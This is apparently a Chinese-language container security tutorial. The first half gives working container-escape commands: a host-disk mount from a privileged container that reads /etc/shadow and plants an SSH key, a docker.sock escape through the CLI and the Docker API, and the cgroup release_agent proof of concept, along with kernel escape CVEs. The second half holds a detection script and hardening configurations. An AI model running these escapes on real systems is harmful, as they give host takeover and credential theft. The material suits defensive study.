容器隔离的边界与突破
容器通过Linux内核特性(namespace + cgroup)实现隔离,但共享宿主机内核。这意味着容器不是虚拟机——内核级漏洞可能导致容器逃逸。
| 隔离层 | 功能 | 逃逸路径 |
|---|---|---|
| Namespace | 视图隔离(PID/NET/MNT) | 内核漏洞、配置错误 |
| Cgroup | 资源限制 | cgroup v1 release_agent |
| Capability | 权限细分 | CAP_SYS_ADMIN等高权 |
| Seccomp | 系统调用过滤 | 默认配置过松 |
| AppArmor | 强制访问控制 | 未启用或配置不当 |
| 网络 | 网络隔离 | host网络模式 |
# 检测是否在特权容器中
cat /proc/1/status | grep CapEff
# 如果输出: CapEff: 0000003fffffffff → 特权容器!
# 正常容器: CapEff: 00000000a80425fb
# 特权容器逃逸: 挂载宿主机磁盘
fdisk -l # 找到宿主机磁盘
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host # 挂载宿主机根分区
# 现在可以:
cat /mnt/host/etc/shadow # 读取密码
echo 'ssh-rsa AAA...' >> /mnt/host/root/.ssh/authorized_keys # 植入SSH密钥
chroot /mnt/host /bin/bash # 完全控制宿主机!
# 检测docker.sock是否挂载
ls -la /var/run/docker.sock
# 如果存在且可写 → 可以控制宿主机Docker
# 通过socket创建特权容器逃逸
docker -H unix:///var/run/docker.sock run \
-v /:/host \
--privileged \
-it alpine \
chroot /host /bin/bash
# 或使用curl直接与Docker API通信
curl -s -X POST \
--unix-socket /var/run/docker.sock \
http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host"]
}
}'
# 查看容器capabilities
capsh --print
# CAP_SYS_ADMIN逃逸 (通过cgroup)
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'ps aux > '"$host_path"'/output' >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# CAP_SYS_PTRACE逃逸 (注入宿主机进程)
# 查找宿主机进程
ps aux # 在共享PID namespace时可见
# 使用ptrace注入shellcode到宿主机进程
# CAP_DAC_READ_SEARCH逃逸
# 绕过文件权限检查,读取宿主机文件
# CVE-2022-0185 (Linux kernel namespace突破)
# CVE-2022-0492 (cgroup逃逸)
# CVE-2022-2588 (route4 UAF → 容器逃逸)
# CVE-2023-0386 (overlayfs提权)
# CVE-2024-1086 (nf_tables UAF → 容器逃逸)
# 检测内核版本
uname -r
# 如果 < 5.15 → 可能有已知逃逸漏洞
# 使用自动检测工具
git clone https://github.com/xairy/kernel-exploit-factory.git
# 或: https://github.com/lucamassari/privilege-escalation-awesome-scripts-suite
#!/bin/bash
# container-escape-detect.sh
# 检测当前容器的逃逸风险
echo "=== 容器逃逸风险检测 ==="
# 1. 检测是否在容器中
if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
echo "[+] 运行在Docker容器中"
else
echo "[-] 未检测到容器环境"
exit 0
fi
# 2. 检测特权模式
CAP=$(cat /proc/1/status | grep CapEff | awk '{print $2}')
if [ "$CAP" = "0000003fffffffff" ]; then
echo "[🔴] 特权容器! 高逃逸风险!"
else
echo "[✅] 非特权容器 (CapEff: $CAP)"
fi
# 3. 检测docker.sock
if [ -S /var/run/docker.sock ]; then
if [ -w /var/run/docker.sock ]; then
echo "[🔴] docker.sock 可写! 可逃逸!"
else
echo "[⚠️] docker.sock 存在但不可写"
fi
else
echo "[✅] docker.sock 未挂载"
fi
# 4. 检测危险capabilities
echo "[*] 检查capabilities..."
for cap in SYS_ADMIN SYS_PTRACE SYS_RAWIO SYS_MODULE DAC_READ_SEARCH; do
if capsh --print 2>/dev/null | grep -q "cap_$cap"; then
echo "[🔴] CAP_$cap 已启用! 逃逸风险!"
fi
done
# 5. 检测敏感挂载
echo "[*] 检查敏感挂载点..."
mount | grep -E '(sda|nvme|host|/etc|/root|/var/run/docker)' && \
echo "[🔴] 检测到宿主机文件系统挂载!"
# 6. 检测网络模式
if ip link show | grep -q eth0; then
if cat /sys/class/net/eth0/ifindex 2>/dev/null | grep -q "^1$"; then
echo "[🔴] host网络模式! 可访问宿主机网络!"
fi
fi
# 7. 检测seccomp
if [ -f /proc/1/status ]; then
SECCOMP=$(grep Seccomp /proc/1/status | awk '{print $2}')
case $SECCOMP in
0) echo "[⚠️] Seccomp未启用" ;;
1) echo "[✅] Seccomp严格模式" ;;
2) echo "[✅] Seccomp过滤模式" ;;
esac
fi
# 8. 检测AppArmor
if [ -f /proc/self/attr/current ]; then
AA=$(cat /proc/self/attr/current)
if [ "$AA" = "unconfined" ]; then
echo "[⚠️] AppArmor未限制"
else
echo "[✅] AppArmor配置: $AA"
fi
fi
echo "=== 检测完成 ==="
# 检查所有容器的安全配置
docker inspect --format '{{.Name}}: Privileged={{.HostConfig.Privileged}} CapAdd={{.HostConfig.CapAdd}}' $(docker ps -q)
# 检查docker.sock挂载
docker inspect --format '{{.Name}}: {{range .Mounts}}{{if eq .Destination "/var/run/docker.sock"}}MOUNTED!{{end}}{{end}}' $(docker ps -q)
# 检查host网络模式
docker inspect --format '{{.Name}}: NetworkMode={{.HostConfig.NetworkMode}}' $(docker ps -q)
# 使用Trivy扫描容器镜像
trivy image --severity HIGH,CRITICAL nginx:latest
# 使用Docker Bench for Security
docker run --rm --net host --pid host \
--userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /etc:/etc:ro \
-v /lib/systemd/system:/lib/systemd/system:ro \
-v /usr/bin/containerd:/usr/bin/containerd:ro \
-v /usr/bin/runc:/usr/bin/runc:ro \
-v /usr/lib/systemd:/usr/lib/systemd:ro \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
docker/docker-bench-security
# 1. 安全的Dockerfile
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production # 固定依赖版本
FROM node:20-alpine
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
WORKDIR /app
COPY --from=builder /app/node_modules ./node_modules
COPY . .
# 安全配置
USER appuser # 非root运行
EXPOSE 3000
HEALTHCHECK --interval=30s CMD wget -q -O /dev/null http://localhost:3000/health
# 2. 安全的docker-compose.yml
version: '3.8'
services:
app:
build: .
security_opt:
- no-new-privileges:true # 禁止提权
- seccomp:seccomp-profile.json # 自定义seccomp
- apparmor:docker-default # AppArmor配置
cap_drop:
- ALL # 丢弃所有capabilities
cap_add:
- NET_BIND_SERVICE # 仅添加需要的
read_only: true # 只读文件系统
tmpfs:
- /tmp:noexec,nosuid # 临时目录(不可执行)
networks:
- frontend
deploy:
resources:
limits:
cpus: '0.50'
memory: 256M
networks:
frontend:
driver: bridge
internal: true # 隔离网络
# 3. Kubernetes Pod安全策略
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: app:latest
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
resources:
limits:
memory: "256Mi"
cpu: "500m"
# Kubescape - K8s安全扫描
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan --framework NSA,MITRE
# Falco - 运行时安全监控
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco
# Trivy Operator - 镜像漏洞扫描
helm repo add aqua https://aquasecurity.github.io/helm-charts
helm install trivy-operator aqua/trivy-operator
# Kyverno - 策略引擎
kubectl apply -f https://raw.githubusercontent.com/kyverno/kyverno/main/config/install.yaml
# 容器安全清单
## 镜像安全
[ ] 使用最小基础镜像(alpine/distroless)
[ ] 固定镜像标签(非latest)
[ ] 镜像漏洞扫描(Trivy/Grype)
[ ] 多阶段构建(不含构建工具)
[ ] 镜像签名验证(Docker Content Trust/Cosign)
## 运行时安全
[ ] 非root用户运行
[ ] 只读文件系统
[ ] 最小capabilities (drop ALL, add only needed)
[ ] Seccomp配置
[ ] AppArmor/SELinux配置
[ ] no-new-privileges
[ ] 资源限制(CPU/Memory)
## 网络安全
[ ] 非host网络模式
[ ] 网络策略限制流量
[ ] Service Mesh加密(mTLS)
[ ] Ingress/Egress控制
## 编排安全(K8s)
[ ] Pod安全标准(PSA)
[ ] RBAC最小权限
[ ] Secret加密存储
[ ] 审计日志启用
[ ] 准入控制器(Gatekeeper/Kyverno)